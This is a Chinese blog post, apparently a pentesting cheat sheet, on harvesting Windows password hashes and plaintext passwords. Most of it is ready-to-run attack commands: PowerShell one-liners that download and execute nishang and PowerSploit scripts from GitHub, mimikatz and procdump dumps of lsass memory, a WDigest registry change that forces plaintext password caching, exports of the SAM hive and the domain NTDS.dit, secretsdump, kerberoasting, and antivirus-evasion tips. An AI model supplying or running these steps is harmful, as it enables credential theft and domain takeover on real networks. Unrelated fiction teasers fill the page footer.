Windows之hash获取小结

0x01 基础了解:


SAM(安全账户管理器):存放在注册表中,用来存储Windows操作系统密码的数据库文件,SAM文件中保存的是明文密码经过一系列算法处理过的Hash值,被保存的Hash分为LM Hash(已废弃)和NTLMHash(长度32bit由字母数字组成),现在用户凭证是以NTLM HASH形式保存。在用户在本地或者远程登陆系统时,会将Hash值与SAM文件中保存的Hash值进行对比。

username:RID:LM-HASH值:NTLM-HASH值
window下uid号为500的即为管理员权限(linux为0)

比如:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

NTLM-Hash的生成方法为:

1.将明文口令转换成十六进制的格式
2.转换成Unicode格式,即在每个字节之后添加0x00
3.对Unicode字符串作MD4加密,生成32位的十六进制数字串

这里我们以密码:123456,作为例子
十六进制为 313233343536
Unicode字符串为 310032003300340035003600
NTLM-Hash为 32ed87bdb5fdc5e9cba88547376818d4

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密
具体原理请参考:安全科普:详解Windows Hash与破解LM-Hash && NTLM-Hash
当LM Hash是aad3b435b51404eeaad3b435b51404ee,它对大小写不敏感,这表示空密码或者是未使用LM_HASH。这里不做过多解释,因为从Windows Server 2008版本开始,系统禁用了LM hash

获取hash的工具

powershell脚本(需要管理员权限):
# Get-PassHashes.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

# Invoke-Mimikatz.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz

# Out-Minidump.ps1
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"
# 假设上一个命令生成了lsass_528.dmp,再用mimikatz从dumps中获取明文
mimikatz.exe "sekurlsa::minidump lsass_528.dmp" "sekurlsa::logonPasswords full" exit

这里有个问题就是mimikatz(包括powershell版),当系统为win10或2012R2及以上时,默认在内存缓存中禁止保存明文密码,如下图,密码字段显示为null

此时可以通过修改注册表,赋予进程lsass明文记录密码权限,然后发起进行锁屏命令,待管理员再次输入密码登陆系统,再次抓取将可获得明文密码。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
mimikatz工具:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
secretsdump.py:

导出域控所有hash,可能能直接获取明文密码

python secretsdump.py -hashes 0000000000000000000000000000000:187ff47deff1xxxxxxxxxxxxxxxxxxxx tester@192.168.107.189 -dc-ip 192.168.107.189

然后定位域控管理员,将这域管用户ntlm进行解密,然后登录域控

LaZagne工具

LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具不仅能抓取windows密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,适用于windows、Linux、MAC
项目地址:https://github.com/AlessandroZ/LaZagne
运行命令:

pip install -r requirements.txt
python laZagne.py all

或者下载发行版exe:https://github.com/AlessandroZ/LaZagne/releases

Pwdump7.exe工具

项目地址:https://www.openwall.com/passwords/windows-pwdump
拷贝libeay32.dll和Pwdump7.exe在同一目录下
直接运行获取hash

wce工具:

项目地址:https://www.ampliasecurity.com/research.html
支持Windows XP, 2003, Vista, 7, 2008 and Windows 8
该工具分为32位、64位。它可以列举登陆会话,并且可以添加、改变和删除相关凭据

# 读取系统明文密码
wce.exe -w  

# 获取hash
wce.exe -l

缺点:很容易被查杀

SAM表获取hash

导出导出SAM和System文件

reg save HKLM\SYSTEM system.save
reg save hklm\security security.save
reg save HKLM\SAM sam.save

将注册表的SAM、System文件导出到本地磁盘。
使用mimikatz读取SAM和System文件。可获取NTLM Hash

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.save" exit

或者secretsdumps:

secretsdumps.py -sam sam.save -security security.save -system system.save LOCAL
metaploit 框架

在得到session的基础上,尝试抓取hash值。
metasploit支持多种hash获取。
1、hashdump
在system权限下,可抓取hash

2、windows/gather/smart_hashdump 脚本

run windows/gather/smart_hashdump

并将所有hash导出到:
/root/.msf4/loot/20200708154030_default_192.168.107.136_windows.hashes_667293.txt

3、load mimikatz 命令
加载mimikatz模块
常用命令:

msv          # 获取hash
kerberos  # 获取明文
ssp          # 获取明文信息
tspkg       # 尝试检索tspkg凭据
wdigest    # 尝试检索wdigest凭据
mimikatz_command -f samdump::hashes   # 获取hash
mimikatz_command -f sekurlsa::searchPasswords   # 获取明文密码

个人感觉msf自带的mimikatz模块不是那么好用,不如直接upload一个mimimatz到目标机器上

NTDS.dit获取域控hash:


Windows系统为了保证用户明文密码不会被泄漏,将密码转换为HASH值进行身份验证,被保存在SAM或者ntds.dit中(mimitakz,procdump等等),域中的所有账号密码存放在Ntds.dit,如果拿到,相当于拿到整个域权限。这个思路在域渗透中尤为重要,因为这里面包含着所有域用户的hash,当然该思路只对DC生效。使用该方法不用担心被杀毒软件查杀,因为不需要上传任何工具去目标机上。
手动导出NTDS.dit和System,放在c:\users\tmp目录下:

ntdsutil "ac i ntds" ifm "create full c:\users\tmp" q q

提取用户hash,这里推荐使用NTDSDumpEx:
项目地址:https://github.com/zcgonvh/NTDSDumpEx

利用kerberoast+mimikatz配合获取明文密码:


SPN(服务主体名service principal name)是微软为了在域环境中方便管理资源而为每种资源分配设计的一种表示方法(或者说SPN是使用Kerberos身份验证的网络中唯一的标识符),凡是使用Kerberos身份验证的网络中,都必须在机器账号或用户账号下为服务注册SPN(每个使用Kerberos的服务都需要一个SPN)在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步。
使用该方法有两个缺点:1.需要powershell 2.mimikatz容易被杀毒软件查杀。

查看指定域ROOTKIT.ORG注册的SPN:setspn -T ROOTKIT.ORG -Q */*
如果指定域不存在,则默认切换到查找本域的SPN
获取所有服务:Setspn -q */*

将票据导出:kerberos::list /export

查看所有的票据:

kerberoast下载地址:https://github.com/nidem/kerberoast

爆破密码:

免杀方案:

prodump.exe工具

该工具是微软出品的工具,具有一定免杀效果。设计初衷是抓取崩溃进程的内存数据,可监控应用程序的CPU异常动向, 并在此异常时生成crash dump文件, 供研发人员和管理员确定问题发生的原因。
项目地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码。

# 导出lsass.dmp
procdump.exe -accepteula -ma lsass.exe lsass.dmp  

再使用mimikatz读取密码:

privilege::debug  //提升权限
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit 

需要注意的是从目标机器导出的lsass.dmp需要在相同系统下运行。

SharpDump工具

Out-Minidump.ps1 脚本C#版本编译后的结果。
ps项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1
SharpDump项目地址:https://github.com/GhostPack/SharpDump/

把lsass.exe进程数据导出来
dump的文件的后缀名为bin,拖到本地机器上后,先重命名为 zip,然后再解压
并使用本地的mimikatz进行读取。

mimikatz.exe "sekurlsa::minidump debug572" "sekurlsa::logonPasswords full" "exit"

破解hash的网站:

https://www.objectif-securite.ch/en/ophcrack
http://cracker.offensive-security.com/index.php

参考如下


windows hash抓取总结
奇安信攻防社区-内网渗透-获取明文和hash

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350